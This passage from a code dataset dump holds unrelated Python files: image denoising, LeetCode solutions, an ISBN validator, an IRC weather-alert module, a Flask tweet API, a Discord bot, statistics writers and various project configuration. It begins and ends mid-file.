row_median[x]/media_factor:\n\t\t\t\timg[x][y] = 255\n\t\t\telse:\n\t\t\t\timg[x][y] = 0\n\n\tmisc.imsave(\"Median_clipped.png\", img)\n\ttoinvert = Image.open('Median_clipped.png')\n\tinverted = ImageOps.invert(toinvert)\n\tinverted.save(\"Median_clipped.png\")\n\n\n\teroded_img = ndimage.binary_erosion(img)\n\treconstruct_img = ndimage.binary_propagation(eroded_img, mask=img)\n\ttmp = np.logical_not(reconstruct_img)\n\teroded_tmp = ndimage.binary_erosion(tmp)\n\treconstruct_final = np.logical_not(ndimage.binary_propagation(eroded_tmp, mask=tmp))\n\n\tmisc.imsave(\"Eroded_and_propagated.png\", reconstruct_final)\n\ttoinvert = Image.open('Eroded_and_propagated.png')\n\tinverted = ImageOps.invert(toinvert)\n\tinverted.save(\"Eroded_and_propagated.png\")\n\n\tlabeled, num_features = ndimage.measurements.label(reconstruct_final.astype(np.int))\n\n\tarea = ndimage.measurements.sum(reconstruct_final, labeled, index=np.arange(1, labeled.max() + 1))\n\n\tvalid_area_count = 0\n\tarea_threshould = 500\n\n\tfor x in xrange(0,num_features):\n\t\tif area[x] > area_threshould:\n\t\t\tvalid_area_count += 1\n\n\tlabels = ndimage.measurements.find_objects(labeled, max_label= num_features)\n\n\t# fig = plt.figure(figsize=(10, 4), dpi=100)\n\n\tcropped = Image.open(\"Cropped.png\").convert('RGB')\n\tdraw = ImageDraw.Draw(cropped)\n\n\tplot_count = 0\n\tfor x in xrange(0, num_features):\n\t\tif plot_count == valid_area_count:\n\t\t\tbreak\n\t\tplt.subplot(1, valid_area_count, plot_count+1)\n\t\tif area[x] > area_threshould:\n\t\t\t(y_1, y_2, step_1) = labels[x][0].indices(reconstruct_final.shape[0])\n\t\t\t(x_1, x_2, step_2) = labels[x][1].indices(reconstruct_final.shape[1])\n\t\t\tdraw.rectangle([x_1, y_1, x_2, y_2], outline = \"yellow\")\n\t\t\t# plt.imshow(reconstruct_final[labels[x]], cmap = cm.Greys)\n\t\t\t# plt.axis('off')\n\t\t\tplot_count += 1\n\n\t# plt.show()\n\tcropped.show()\n\tmisc.imsave(\"labled.png\", cropped)\n\n\nif __name__ == '__main__':\n\tfile_name = \"sel.09.ch07.081108.161338.79.png\"\n\timg = ndimage.imread(file_name, \"grey\")\n\tcropped_img = crop(img)\n\tmisc.imsave(\"Cropped.png\", cropped_img)\n\tnoise_reduction(cropped_img)\n\t# np.savetxt(\"imgmatrix.txt\", img, fmt = \"%3d\")\n\n\n","sub_path":"code/Denoising And Segmentation/noise_reduction.py","file_name":"noise_reduction.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"455490816","text":"\n#1 - #1. Two Sum\n\ndef twoSum(nums, target):\n for i in range(len(nums)):\n a = target - nums[i]\n if a in nums and i != nums.index(a):\n return i, nums.index(a)\n\ntarget = 9\nnums = [2, 7, 11, 15]\n\nprint (twoSum(nums, target)) # (0, 1)\n\n#2 - #9. Palindrome Number\n\nx = 121\nx2 = -121\n\ndef isPalindrome(x):\n x2 = str(x)[::-1]\n if int(x) < 0:\n return False\n elif str(x) == x2:\n return True\n else:\n return False\n\nprint(isPalindrome(x)) # True\nprint(isPalindrome(x2)) # False\n\n#3 - 14. Longest Common Prefix\n\nstr = ['one', 'onew', 'onr']\n\ndef longestCommonPrefix(str):\n if len(str) == 0:\n return ''\n res = ''\n str = sorted(str)\n for i in str[0]:\n if str[-1].startswith(res + i):\n res += i\n else:\n break\n return res\n\nprint (longestCommonPrefix(str))\n\n#4 - #20. Valid Parentheses\n\ns = '([]){([])}'\ns1 = '([]){([])'\n\ndef isValid(s):\n bracket_map = {\"(\": \")\", \"[\": \"]\", \"{\": \"}\"}\n open_par = set([\"(\", \"[\", \"{\"])\n stack = []\n for i in s:\n if i in open_par:\n stack.append(i)\n elif stack and i == bracket_map[stack[-1]]:\n stack.pop()\n else:\n return False\n return stack == []\n\nprint (isValid(s)) # True\nprint (isValid(s1)) # False\n\n#5 - #27. Remove Element\n\nnums = [3,2,2,3]\nval = 3\n\ndef removeElement(nums, val):\n for i in nums[:]:\n if i == val:\n nums.remove(i)\n return len(nums)\n\nprint(removeElement(nums, val)) # 2\n\n#6 - #121. Best Time to Buy and Sell Stock\n\ndef maxProfit(prices):\n if len(prices) == 0:\n return 0\n else:\n low = 99999\n profitmax = 0\n for price in prices:\n if price > low:\n if price - low > profitmax:\n profitmax = price - low\n elif price < low:\n low = price\n return profitmax\n\nshares = [7, 1, 5, 3, 6, 4]\nprint (maxProfit(shares))\n\n#7 - #217. Contains Duplicate\n\nlist1 = [1,2,3,1]\nlist2 = [1,2,3,4]\n\ndef containsDuplicate(nums):\n count = {}\n if len(nums) == 0:\n return False\n\n for number in nums:\n if number in count:\n return True\n else:\n count[number] = 1\n return False\n\nprint(containsDuplicate(list1)) # True\nprint(containsDuplicate(list2)) # False\n\n#8 - #242. Valid Anagram\n\ndef isAnagram(s, t):\n count1 = {}\n count2 = {}\n\n for char1 in s:\n if char1 in count1:\n count1[char1] += 1\n else:\n count1[char1] = 1\n\n for char2 in t:\n if char2 in count2:\n count2[char2] += 1\n else:\n count2[char2] = 1\n\n if count1 == count2:\n return True\n else:\n return False\n\nprint (isAnagram(\"anagram\",\"nagaram\")) # True\nprint (isAnagram(\"anagram\",\"nagamam\")) # False\n\n#9 - 509. Fibonacci Number\n\ndef iterFibo(n):\n a,b = 0,1\n for i in range(0, n):\n a,b = b, a + b\n return a\nprint (iterFibo(5)) # 5\n\n#10 - 557. Reverse Words in a String III\n\nInput = \"Let's take LeetCode contest\"\n#Output: \"s'teL ekat edoCteeL tsetnoc\"\n\ndef reverse_words(Input):\n Input = Input.split(\" \")\n reverse = []\n\n for word in Input:\n reverse.append(word[::-1])\n reverse = \" \".join(reverse)\n return reverse\n\nprint(reverse_words(Input))\n\n#11 - #771. Jewels and Stones\n\ndef numJewelsInStones(j, s):\n return sum(stone in j for stone in s)\n\nprint (numJewelsInStones('aAA','aAAbbbB')) # 3\nprint (numJewelsInStones('zas','ZZAASS')) # 0\n\n#12 - #819. Most Common Word\n\ndef mostCommonWord(paragraph, banned):\n for c in \"!?',;.\":\n paragraph = paragraph.replace(c, \" \")\n d, res, count = {}, \"\", 0\n for word in paragraph.lower().split():\n if word in banned:\n continue\n elif word in d:\n d[word] += 1\n else:\n d[word] = 1\n if d[word] > count:\n count = d[word]\n res = word\n return res\n\nprint (mostCommonWord('Hello hello are Are are', 'are')) # hello\n\n#13 - 1108. Defanging an IP Address, Input: address = \"1.1.1.1\" - Output: \"1[.]1[.]1[.]1\"\n\naddress = \"1.1.1.1\"\n\ndef defanging (address):\n for i in \".\":\n address = address.replace(i, \"[.]\")\n return address\n\nprint(defanging(address))\n","sub_path":"Leetcode.py","file_name":"Leetcode.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"186711794","text":"def is_valid(isbn):\n ''' \n Checks if a given ISBN-10 is valid.\n Input (string): ISBN to test\n Output (bool): True if valid, otherwise False\n '''\n \n # Check valid length and remove hyphen\n isbn = isbn.replace(\"-\", \"\")\n if len(isbn) != 10:\n return False\n\n multiplicand = 10\n checksum = 0\n for char in isbn:\n\n if char.isdigit():\n checksum += int(char) * multiplicand\n\n elif char == \"X\" and multiplicand == 1:\n # Only the last \"digit\" can be X: We can reuse the multiplicand var\n # to check for this\n checksum += 10\n\n else:\n # Not a valid character\n return False\n multiplicand -= 1\n \n return checksum % 11 == 0","sub_path":"python/isbn-verifier/isbn_verifier.py","file_name":"isbn_verifier.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"578205534","text":"import os\n\nfrom aion.microservice import main_decorator, Options\nfrom aion.logger import initialize_logger, lprint\nfrom utils.mysql import MySQLClient\nfrom utils.request import Request\n\nSERVICE_NAME = os.environ.get(\"SERVICE\")\nSTART_MODE = os.environ.get(\"START_MODE\", \"by-name\")\n\ninitialize_logger(SERVICE_NAME)\n\n\n@main_decorator(SERVICE_NAME)\ndef main(opt: Options):\n conn = opt.get_conn()\n num = opt.get_number()\n vehicle_data = {\n \"vehicle\": True,\n \"vehicle_name\": \"\",\n \"end\": True,\n }\n\n if START_MODE == \"by-name\":\n conn.set_kanban(SERVICE_NAME, num)\n elif START_MODE == \"from-kanban\":\n kanban = conn.get_one_kanban(SERVICE_NAME, num)\n metadata = kanban.get_metadata()\n vehicle_data = metadata['args']\n\n lprint(f\"vehicle_data: {vehicle_data}\")\n templates = []\n vehicle = vehicle_data['vehicle']\n vehicle_name = vehicle_data['vehicle_name']\n end = vehicle_data['end']\n\n try:\n ms = MySQLClient()\n if vehicle and not vehicle_name:\n templates += ms.get_all_vehicles()\n lprint(\"set_template all\")\n elif vehicle and vehicle_name:\n templates += ms.get_by_vehicle_name(vehicle_name)\n lprint(f\"set_template {vehicle_name}\")\n\n if end:\n templates += ms.get_end()\n lprint(\"set_template end\")\n\n if templates:\n with Request() as r:\n r.set_templates(templates)\n\n except Exception as e:\n print(str(e))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"client/set_templates/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"646648616","text":"\"\"\"\nwarnings.py -- NWS Alert Module\nCopyright 2011, Michael Yanovich, yanovich.net\n\nhttp://sopel.chat\n\nThis module allows one to query the National Weather Service for active\nwatches, warnings, and advisories that are present.\n\"\"\"\nfrom __future__ import print_function\nfrom sopel.module import commands, priority\nimport feedparser\nimport re\nimport urllib\nimport sopel.web as web\n\nstates = {\n \"alabama\": \"al\",\n \"alaska\": \"ak\",\n \"arizona\": \"az\",\n \"arkansas\": \"ar\",\n \"california\": \"ca\",\n \"colorado\": \"co\",\n \"connecticut\": \"ct\",\n \"delaware\": \"de\",\n \"florida\": \"fl\",\n \"georgia\": \"ga\",\n \"hawaii\": \"hi\",\n \"idaho\": \"id\",\n \"illinois\": \"il\",\n \"indiana\": \"in\",\n \"iowa\": \"ia\",\n \"kansas\": \"ks\",\n \"kentucky\": \"ky\",\n \"louisiana\": \"la\",\n \"maine\": \"me\",\n \"maryland\": \"md\",\n \"massachusetts\": \"ma\",\n \"michigan\": \"mi\",\n \"minnesota\": \"mn\",\n \"mississippi\": \"ms\",\n \"missouri\": \"mo\",\n \"montana\": \"mt\",\n \"nebraska\": \"ne\",\n \"nevada\": \"nv\",\n \"new hampshire\": \"nh\",\n \"new jersey\": \"nj\",\n \"new mexico\": \"nm\",\n \"new york\": \"ny\",\n \"north carolina\": \"nc\",\n \"north dakota\": \"nd\",\n \"ohio\": \"oh\",\n \"oklahoma\": \"ok\",\n \"oregon\": \"or\",\n \"pennsylvania\": \"pa\",\n \"rhode island\": \"ri\",\n \"south carolina\": \"sc\",\n \"south dakota\": \"sd\",\n \"tennessee\": \"tn\",\n \"texas\": \"tx\",\n \"utah\": \"ut\",\n \"vermont\": \"vt\",\n \"virginia\": \"va\",\n \"washington\": \"wa\",\n \"west virginia\": \"wv\",\n \"wisconsin\": \"wi\",\n \"wyoming\": \"wy\",\n}\n\ncounty_list = \"http://alerts.weather.gov/cap/{0}.php?x=3\"\nalerts = \"http://alerts.weather.gov/cap/wwaatmget.php?x={0}\"\nzip_code_lookup = \"http://www.zip-codes.com/zip-code/{0}/zip-code-{0}.asp\"\nnomsg = \"There are no active watches, warnings or advisories, for {0}.\"\nre_fips = re.compile(r'County FIPS:(\\S+)')\nre_state = re.compile(r'State:\\S\\S \\[(\\S+(?: \\S+)?)\\]')\nre_city = re.compile(r'City:(.*)')\nmore_info = \"Complete weather watches, warnings, and advisories for {0}, available here: {1}\"\n\n\n@commands('nws')\n@priority('high')\ndef nws_lookup(bot, trigger):\n \"\"\" Look up weather watches, warnings, and advisories. \"\"\"\n text = trigger.group(2)\n if not text:\n return\n bits = text.split(\",\")\n master_url = False\n if len(bits) == 2:\n ## county given\n url_part1 = \"http://alerts.weather.gov\"\n state = bits[1].lstrip().rstrip().lower()\n county = bits[0].lstrip().rstrip().lower()\n if state not in states:\n bot.reply(\"State not found.\")\n return\n url1 = county_list.format(states[state])\n page1 = web.get(url1).split(\"\\n\")\n for line in page1:\n mystr = \">\" + unicode(county) + \"<\"\n if mystr in line.lower():\n url_part2 = line[9:36]\n break\n if not url_part2:\n bot.reply(\"Could not find county.\")\n return\n master_url = url_part1 + url_part2\n location = text\n elif len(bits) == 1:\n ## zip code\n if bits[0]:\n urlz = zip_code_lookup.format(bits[0])\n pagez = web.get(urlz)\n fips = re_fips.findall(pagez)\n if fips:\n state = re_state.findall(pagez)\n city = re_city.findall(pagez)\n if not state and not city:\n bot.reply(\"Could not match ZIP code to a state\")\n return\n state = state[0].lower()\n state = states[state].upper()\n location = city[0] + \", \" + state\n fips_combo = unicode(state) + \"C\" + unicode(fips[0])\n master_url = alerts.format(fips_combo)\n else:\n bot.reply(\"ZIP code does not exist.\")\n return\n\n if not master_url:\n bot.reply(\"Invalid input. Please enter a ZIP code or a county and state pairing, such as 'Franklin, Ohio'\")\n return\n\n feed = feedparser.parse(master_url)\n warnings_dict = {}\n for item in feed.entries:\n if nomsg[:51] == item[\"title\"]:\n bot.reply(nomsg.format(location))\n return\n else:\n warnings_dict[unicode(item[\"title\"])] = unicode(item[\"summary\"])\n\n paste_code = \"\"\n for alert in warnings_dict:\n paste_code += item[\"title\"] + \"\\n\" + item[\"summary\"] + \"\\n\\n\"\n\n paste_dict = {\n \"paste_private\": 0,\n \"paste_code\": paste_code,\n }\n\n pastey = urllib.urlopen(\"http://pastebin.com/api_public.php\",\n urllib.urlencode(paste_dict)).read()\n\n if len(warnings_dict) > 0:\n if trigger.sender.startswith('#'):\n i = 1\n for key in warnings_dict:\n if i > 1:\n break\n bot.reply(key)\n bot.reply(warnings_dict[key][:510])\n i += 1\n bot.reply(more_info.format(location, master_url))\n else:\n for key in warnings_dict:\n bot.msg(trigger.nick, key)\n bot.msg(trigger.nick, warnings_dict[key])\n bot.msg(trigger.nick, more_info.format(location, master_url))\n\nif __name__ == '__main__':\n print(__doc__.strip())\n","sub_path":"nws.py","file_name":"nws.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"361587558","text":"# -*- coding: utf-8 -*-\n\nfrom sqlalchemy import create_engine\nfrom cubes.tutorial.sql import create_table_from_csv\nfrom cubes import Workspace\n\nengine = create_engine('sqlite:///data.sqlite')\ncreate_table_from_csv(\n engine,\n \"data.csv\",\n table_name=\"ibrd_balance\",\n fields=[\n (\"category\", \"string\"),\n (\"category_label\", \"string\"),\n (\"subcategory\", \"string\"),\n (\"subcategory_label\", \"string\"),\n (\"line_item\", \"string\"),\n (\"year\", \"integer\"),\n (\"amount\", \"integer\")\n ],\n create_id=True\n)\n\nworkspace = Workspace()\nworkspace.register_default_store(\"sql\", url=\"sqlite:///data.sqlite\")\nworkspace.import_model(\"model.json\")\nbrowser = workspace.browser(\"ibrd_balance\")\nresult = browser.aggregate()\nprint(result.summary[\"record_count\"])\nprint(result.summary[\"amount_sum\"])\nresult = browser.aggregate(drilldown=[\"year\"])\nfor record in result:\n print(record)\n\nresult = browser.aggregate(drilldown=[\"item\"])\nfor record in result:\n print(record)","sub_path":"coding/learn_cubes/cube_test.py","file_name":"cube_test.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"605752264","text":"\r\n#массив\r\nmas = [5, 9, 2, 1, 12, 13]\r\n\r\n#сортировка массива встроенной функцией python\r\nmas = sorted (mas)\r\n\r\n#результат выполнения встроенной функции сортировки \r\nprint('Вывод после сортировки встроенной функцией Python \"sort\"', mas)\r\n\r\n#массив для функции\r\nmas2 = [5, 9, 2, 1, 12, 13]\r\n# функция:\r\ndef sort_func(array):\r\n if len(array) <= 1:\r\n return array\r\n else:\r\n barrier = array[0] \r\n l = []\r\n m = [] \r\n r = []\r\n for x in array:\r\n if x < barrier:\r\n l.append(x)\r\n elif x == barrier:\r\n m.append(x)\r\n else:\r\n r.append(x)\r\n sort_func(l)\r\n sort_func(r)\r\n k = 0\r\n for x in l + m + r:\r\n array[k] = x\r\n k += 1\r\nsort_func(mas2)\r\nprint('Вывод после сортировки функцией \"sort_func\" Python', mas2)","sub_path":"epam1.py","file_name":"epam1.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"462165962","text":"#flask server code for the API\n\nimport twitter_api as ta\nimport os\nimport time\nfrom twython import Twython\nfrom flask import Flask, send_file\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\napp = Flask(__name__)\n\n#use your api key here\nAPP_KEY = os.environ[\"API_KEY\"]\nAPP_SECRET = os.environ[\"APP_SECRET\"]\ntwitter = Twython(APP_KEY, APP_SECRET, oauth_version=2)\nACCESS_TOKEN = twitter.obtain_access_token()\ntwitter = Twython(APP_KEY, access_token=ACCESS_TOKEN)\n\n#Last tweet time API\n@app.route('/last_trump_time')\ndef last_trump_time():\n return str(ta.last_trump_time(twitter))\n \n#Count API\n@app.route('/get_trump_count')\ndef get_trump_count():\n return str(ta.get_trump_count(twitter))\n\n#Wordcloud API \n@app.route('/trump_wc')\ndef trump_wc():\n ta.trump_wc(twitter) \n return send_file('trump_wc.png', mimetype='image/png')\n\nif __name__ == \"__main__\":\n port = os.environ.get('PORT', 5500)\n app.run(host='0.0.0.0', port=port)","sub_path":"Python/app/trump_api.py","file_name":"trump_api.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"423712982","text":"from django.contrib import admin\nfrom django.urls import include, path\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('o/', include('oauth2_provider.urls', namespace='oauth2_provider')),\n path('accounts/', include('api.urls'))\n]\n\n\n","sub_path":"account_manager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"334925158","text":"import unittest\nfrom selenium import webdriver\n\n\nclass BaseTestCaseClassMethod(unittest.TestCase):\n URL = ''\n ENV = ''\n LNXRMT = {'browserName': 'chrome', 'version': 'VALLNX', 'platform': 'LINUX'}\n W7CHR = {'browserName': 'chrome', 'version': 'TESTSTAND2',\n 'platform': 'WIN7'}\n\n @classmethod\n def setUpClass(cls):\n if cls.ENV == 'LINUX':\n des_cap = cls.LNXRMT\n elif cls.ENV == 'WIN7':\n des_cap = cls.W7CHR\n else:\n des_cap = cls.LNXRMT\n\n cls.driver = webdriver. \\\n Remote('http://msktool.rmcity.net:4444/wd/hub',\n desired_capabilities=des_cap)\n cls.driver.implicitly_wait(10)\n cls.driver.maximize_window()\n\n # navigate to the application home page\n cls.driver.get(cls.URL)\n\n @classmethod\n def tearDownClass(cls):\n # close the browser window\n cls.driver.quit()\n","sub_path":"chapter_10/smoketests/base/basetestcaseclassmethod.py","file_name":"basetestcaseclassmethod.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"100196808","text":"#!/usr/bin/env python\nimport os\nfrom glob import glob\nfrom setuptools import setup, find_packages\n\n\npath = os.path.join(os.path.dirname(__file__), 'src/darjeeling/version.py')\nwith open(path, 'r') as f:\n exec(f.read())\n\n\nsetup(\n name='darjeeling',\n version=__version__,\n description='Distributed, language-independent, compositional search-based program repair',\n author='Chris Timperley',\n author_email='ctimperley@cmu.edu',\n url='https://github.com/squaresLab/Darjeeling',\n license='apache',\n python_requires='>=3.6',\n setup_requires=[\n 'pytest-runner'\n ],\n tests_require=[\n 'pytest'\n ],\n include_package_data=True,\n classifiers=[\n 'Natural Language :: English',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7'\n ],\n entry_points={\n 'console_scripts': [\n 'darjeeling = darjeeling.cli:main',\n ]\n },\n test_suite='tests'\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"146604395","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Writing functions for statistics.\"\"\"\nimport datetime as dt\nimport numpy as np\n\nimport system\nimport const\n\ndef write_stats(stats, user_input, flag):\n \"\"\"Write statistics to a .txt file.\n\n Args:\n stats (np.array): Array of computed statistics.\n user_input (object):\n flag (str): A string (1 or 2 characters at most) describing which kind of period is to analyze. Chosen among those available in the help of the script.\n\n Return:\n int: 0 for success, 1 otherwise.\n \"\"\"\n system.logger('Writing statistics on a .txt file', 'header')\n try:\n filename_stats = create_filename_stats(flag, user_input)\n write_on_txt(stats, filename_stats, flag)\n return 0\n except:\n system.logger('Impossible to write statistics on .txt', 'error')\n return 1\n\ndef create_filename_stats(flag, user_input):\n \"\"\"Define filename according to period.\n\n Args:\n flag (str): A string (1 or 2 characters at most) describing which kind of period is to analyze. Chosen among those available in the help of the script.\n user_input (object):\n\n Return:\n str: Filename for statistics.\n \"\"\"\n if flag == 'Y':\n date = dt.datetime.strptime(user_input.time, const.Y)\n filename = str(date.year) + '_' + const.TIME_TYPE\n\n if flag == 'M':\n date = dt.datetime.strptime(user_input.time, const.Ym)\n filename = (str(date.year) + '-' +\n str('%.2i' %date.month) + '_' +\n const.TIME_TYPE)\n\n if flag == 'D':\n date = dt.datetime.strptime(user_input.time, const.Ymd)\n filename = (str(date.year) + '-' +\n str('%.2i' %date.month) + '-' +\n str('%.2i' %date.day) + '_' +\n const.TIME_TYPE)\n\n if flag == 'W':\n datetime = dt.datetime.strptime(user_input.time, const.Ymd)\n week_nr = dt.datetime.isocalendar(datetime)[1] - 1\n filename = (str(datetime.year) + '_W' + str('%.2i' %week_nr) +\n '_' + const.TIME_TYPE)\n\n if flag == 'U' or flag == 'UD':\n filename = str(user_input.time) + '_' + const.TIME_TYPE\n return filename\n\ndef write_on_txt(stats, filename_stats, flag):\n \"\"\"Write statistics and headers on a .txt file.\n\n Args:\n stats (np.array): Array of computed statistics.\n filename_stats (str): String with the name of the file.\n flag (str): A string (1 or 2 characters at most) describing which kind of period is to analyze. Chosen among those available in the help of the script.\n\n Return:\n None\n \"\"\"\n system.logger('Creating headers, footer and metadata string', 'header')\n metadata_head, headers, metadata_foot = \\\n create_header_list(filename_stats)\n\n system.logger('Writing stats on .txt', 'header')\n\n with open(const.FOLDER_STATS + 'stats_' + filename_stats + '.txt', 'w') as stat_file:\n for i in metadata_head:\n stat_file.writelines(i + '\\n')\n\n for i in headers:\n stat_file.writelines(i + ' ')\n stat_file.writelines('\\n')\n stat_file.writelines('\\n')\n for i in stats[const.FLAGS[flag]['stat_pos']]:\n for ind, elem in enumerate(i):\n if (ind == 0 or ind == 1 or ind == 2):# numbers\n stat_file.writelines('%.2f' % (elem) + ' ')\n if (ind == 3 or ind == 4):#dates\n try:\n stat_file.writelines(dt.datetime.isoformat(elem) + ' ')\n except:\n stat_file.writelines(str(np.nan) + ' ')\n for i in metadata_foot:\n stat_file.writelines(i)\n\n system.logger('File compiled on '\n + const.NOW_LT.strftime('%Y-%m-%d') + ' at '\n + const.NOW_LT.strftime('%H:%M') + ' UTC+8', 'ok')\n\ndef write_short_report(stats, filename_stats, flag, var):\n \"\"\"Write short report statistics on a .txt file.\n\n Args:\n stats (np.array): Array of computed statistics.\n filename_stats (str): String with the name of the file.\n flag (str): A string (1 or 2 characters at most) describing which kind of period is to analyze. Chosen among those available in the help of the script.\n var (str): The chosen variable.\n\n Return:\n int: 0 for success, 1 otherwise.\n \"\"\"\n system.logger('Creating headers, footer and metadata string', 'header')\n metadata_head, headers, metadata_foot = \\\n create_header_list(filename_stats, [var], short=True)\n\n system.logger('Writing short report on .txt', 'header')\n try:\n with open(const.FOLDER_MESSAGES + filename_stats + '.txt', 'w') as short_rep_file:\n for i in metadata_head:\n short_rep_file.writelines(i)\n short_rep_file.writelines('\\n')\n for i in headers:\n short_rep_file.writelines(i + ' ')\n short_rep_file.writelines('\\n')\n for ind, elem in enumerate(stats[const.FLAGS[flag]['stat_pos']]\n [const.VAR_DEF[var]['idx']]):\n if (ind == 0 or ind == 1 or ind == 2):# numbers\n short_rep_file.writelines('%.2f' % (elem) + ' ')\n if (ind == 3 or ind == 4):#dates\n try:\n short_rep_file.writelines(dt.datetime.isoformat(elem) + ' ')\n except:\n short_rep_file.writelines(str(np.nan) + ' ')\n for i in metadata_foot:\n short_rep_file.writelines(i)\n system.logger('File compiled on '\n + const.NOW_LT.strftime('%Y-%m-%d') + ' at '\n + const.NOW_LT.strftime('%H:%M') + ' UTC+8', 'ok')\n control = 0\n except:\n control = 1\n\n return control\n\ndef create_header_list(filename_stats, var_list=const.VAR_LIST, short=False):\n \"\"\"Create the header string.\n\n Args:\n filename_stats (str): String with the name of the file.\n var_list (list): List of variables. Default is every variable.\n short (bool): True for creating shortrep, False for creating Meteorological report. Default is False.\n\n Return:\n (tuple): containing:\n - **metadata_head** (*str*): String containing metadata header for the report.\n - **header_list** (*str*): String containing header list for the report.\n - **metadata_foot** (*str*): String containing metadata footer for the report.\n \"\"\"\n if short:\n metadata_head = ['# Report for ' + filename_stats[7:] + '\\n']\n else:\n metadata_head = ['# Meteorological stats for '+ filename_stats + '\\n']\n\n header_list = []\n for var in var_list:\n header_list.append((const.VAR_DEF[var]['lbl'] + '_mean' + '['\n + const.VAR_DEF[var]['uom'] + ']'))\n header_list.append((const.VAR_DEF[var]['lbl'] + '_max' + '['\n + const.VAR_DEF[var]['uom'] + ']'))\n header_list.append((const.VAR_DEF[var]['lbl'] + '_min' + '['\n + const.VAR_DEF[var]['uom'] + ']'))\n header_list.append((const.VAR_DEF[var]['lbl'] + '_max_time'\n + '[' + const.VAR_DEF[var]['uom'] + ']'))\n header_list.append((const.VAR_DEF[var]['lbl'] + '_min_time'\n + '[' + const.VAR_DEF[var]['uom'] + ']'))\n metadata_foot = ['\\n',\n const.LEG]\n for var in var_list:\n metadata_foot.append(const.VAR_DEF[var]['leg'])\n metadata_foot.append('\\n')\n metadata_foot.append(const.LEG_INFO_DATETIME)\n metadata_foot.append(const.LEG_FILE_COMPILED)\n metadata_foot.append(const.LEG_INFO)\n\n return metadata_head, header_list, metadata_foot\n","sub_path":"writing.py","file_name":"writing.py","file_ext":"py","file_size_in_byte":7793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"258079069","text":"import discord, asyncio, os, json\nfrom discord.ext import commands\nfrom discord.ext.commands import Bot\n\ndef get_prefix(client, message):\n with open('prefixes.json','r') as f:\n prefixes = json.load(f)\n\n return prefixes[str(message.guild.id)]\n\n\nclient = commands.Bot(command_prefix = get_prefix)\n\n\nclient.remove_command('help')\n\n@client.event\nasync def on_ready():\n\n activity = discord.Game(name=\"Netflix\", type=3)\n await client.change_presence(status=discord.Status.dnd, activity=activity)\n print('JINSOUL BOT IS ONLINE!!!!!')\n print('Logged in as')\n print(client.user.name)\n print(client.user.id)\n print(discord.__version__)\n print('------')\n # print('Servers connected to:')\n # for guild in client.guilds:\n # print(guild.name)\n\n\n# @client.event\n# async def on_message(message):\n# author = message.author\n# content = message.content\n# print('{} {}'.format(author, content))\n\n # @client.event\n # async def on_message_delete(message):\n # author = message.author\n # content = message.content\n # channel = message.channel\n # e = discord.Embed(color=0xea7938)\n # e.add_field(name='User', value=message.author.mention, inline=False)\n # e.add_field(name='Channel', value=message.channel.mention, inline=False)\n # e.add_field(name='Message', value=message.content, inline=False)\n # e.set_author(name='Message Deleted', icon_url='https://i.imgur.com/qfoz8py.jpg')\n # await channel.send(embed=e)\n\n@client.event\nasync def on_guild_join(guild):\n with open('prefixes.json','r') as f:\n prefixes = json.load(f)\n\n prefixes[str(guild.id)] = '.'\n\n with open('prefixes.json','w') as f:\n json.dump(prefixes, f, indent=4)\n\n@client.event\nasync def on_guild_remove(guild):\n with open('prefixes.json','r') as f:\n prefixes = json.load(f)\n\n prefixes.pop(str(guild.id))\n\n with open('prefixes.json','w') as f:\n json.dump(prefixes, f, indent=4)\n\n@client.command()\nasync def load(ctx, extension):\n client.load_extension(f'cogs.{extension}')\n\n@client.command()\nasync def unload(ctx, extension):\n client.unload_extension(f'cogs.{extension}')\n\n@client.command()\nasync def reload(ctx, extension):\n client.unload_extension(f'cogs.{extension}')\n client.load_extension(f'cogs.{extension}')\n\n \nfor filename in os.listdir('./cogs'):\n if filename.endswith('.py'):\n client.load_extension(f'cogs.{filename[:-3]}') \n\n\nclient.run('')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"393646393","text":"from django.http import HttpResponse\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom products.filters import ProductFilter\nfrom products.models import Product\nfrom products.permissions import IsAccessDeleteProduct\nfrom products.serializers import ProductSerializer\nfrom utils.pdf import TOCSV, TOPDF\n\n\nclass ProductViewSet(viewsets.ModelViewSet):\n queryset = Product.objects.all().order_by('-created')\n permission_classes = [\n IsAuthenticated,\n 